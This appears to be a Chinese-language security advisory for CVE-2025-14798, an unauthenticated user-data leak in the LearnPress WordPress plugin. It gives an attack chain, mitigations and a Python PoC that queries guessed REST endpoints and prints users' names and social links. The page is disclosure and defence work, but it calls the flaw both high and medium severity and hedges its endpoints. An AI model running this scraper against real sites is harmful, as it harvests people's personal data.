IPBUF安全漏洞报告
English
CVE-2025-14798 CVSS 5.3 中危

CVE-2025-14798 LearnPress WordPress LMS插件敏感信息泄露漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-14798
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LearnPress WordPress LMS Plugin

相关标签

敏感信息泄露未授权访问REST API漏洞LearnPressWordPress插件CVE-2025-14798信息收集JWT权限绕过LMS

漏洞概述

CVE-2025-14798是WordPress广受欢迎的学习管理系统(LMS)插件LearnPress中的一个高危安全漏洞。该漏洞存在于插件的REST API接口中,具体位于get_item_permissions_check函数。由于该函数缺少适当的权限验证检查,未经身份验证的远程攻击者可以通过构造特定的API请求来访问敏感的用户信息。漏洞影响范围涵盖LearnPress 4.3.2.4及之前的所有版本。攻击者利用此漏洞可以获取包括用户姓名(名字和姓氏)、社交媒体资料链接、学习课程注册信息等敏感数据。这些泄露的信息可能被用于进一步的社会工程攻击、身份盗窃或其他恶意活动。该漏洞的CVSS评分为5.3,属于中等严重程度,但由于其无需认证即可利用的特性,在实际环境中具有较高的利用价值。LearnPress作为WordPress生态中领先的在线课程创建插件,被全球数百万网站使用,因此该漏洞影响了大量在线教育平台的用户数据安全。

技术细节

该漏洞的技术根源在于LearnPress插件的JWT REST API实现中存在权限检查缺陷。具体问题出在inc/jwt/rest-api/version1/class-lp-rest-users-v1-controller.php文件中的get_item_permissions_check函数(第134行和第35行)。该函数本应验证当前用户是否有权限访问特定资源,但由于实现不当,它允许任何未认证用户通过REST API端点访问用户数据。攻击者可以通过向/wp-json/lp/v1/users或类似端点发送GET请求,无需提供任何认证令牌或Cookie,即可获取用户列表和详细信息。泄露的数据结构包括:first_name(名)、last_name(姓)、description(个人描述)、social类对象(包含Facebook、Twitter等社交链接)以及可能的enrollment(课程注册)信息。漏洞利用的关键在于WordPress REST API的默认行为允许访问某些端点,而插件开发者未正确覆盖默认的权限检查逻辑。由于WordPress的REST API架构设计,get_item_permissions_check返回值默认为true,导致未认证用户可以绕过权限限制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress CMS,并确认是否安装有LearnPress插件。可以通过查看页面源码、插件目录扫描或使用wpscan等工具进行探测。
STEP 2
步骤2: 端点识别
攻击者发现LearnPress的REST API端点,通常位于/wp-json/lp/v1/users或类似的路径。通过OPTIONS请求或公开文档了解可用的API端点。
STEP 3
步骤3: 未授权访问
攻击者直接向REST API端点发送GET请求,无需提供任何认证凭证(如Cookie、令牌等)。由于get_item_permissions_check函数存在缺陷,API返回200状态码并包含用户数据。
STEP 4
步骤4: 数据提取
API响应包含JSON格式的用户敏感信息,包括first_name、last_name、description、social对象(含社交媒体链接)等。攻击者解析响应并提取有价值的数据。
STEP 5
步骤5: 数据利用
收集的用户信息可用于后续攻击,如社会工程学攻击、钓鱼邮件、凭据猜测或与其他漏洞结合进行更深入的入侵。泄露的社交链接还可用于关联分析用户身份。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14798 PoC - LearnPress Sensitive Information Disclosure # Target: WordPress site with LearnPress plugin <= 4.3.2.4 def exploit_cve_2025_14798(target_url): """ Exploit for CVE-2025-14798: LearnPress Unauthenticated Sensitive Info Disclosure This PoC demonstrates how an unauthenticated attacker can extract user data. """ # Common LearnPress REST API endpoints endpoints = [ '/wp-json/lp/v1/users', '/wp-json/learnpress/v1/users', '/wp-json/lp/v1/courses/users', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } print(f'[*] Testing target: {target_url}') print(f'[*] CVE-2025-14798 - LearnPress Information Disclosure') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f'\n[*] Testing endpoint: {url}') try: # No authentication required - this is the vulnerability response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: data = response.json() print(f'[+] SUCCESS! Retrieved data from {endpoint}') print(f'[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}') # Extract sensitive information if isinstance(data, list): for user in data: first_name = user.get('first_name', 'N/A') last_name = user.get('last_name', 'N/A') social = user.get('social', {}) print(f'\n[+] User: {first_name} {last_name}') print(f'[+] Social links: {social}') return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') print('\n[-] No vulnerable endpoints found or target is patched') return False if __name__ == '__main__': import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://target-wordpress-site.com' exploit_cve_2025_14798(target)

影响范围

LearnPress <= 4.3.2.4

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1) 使用WordPress防火墙插件限制对REST API端点的访问;2) 通过.htaccess或Nginx配置阻止对/wp-json/lp/路径的未授权访问;3) 临时禁用LearnPress插件的用户公开API功能;4) 加强WordPress网站的监控,记录所有对REST API的可疑访问尝试;5) 考虑使用第三方安全服务进行实时的威胁检测和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表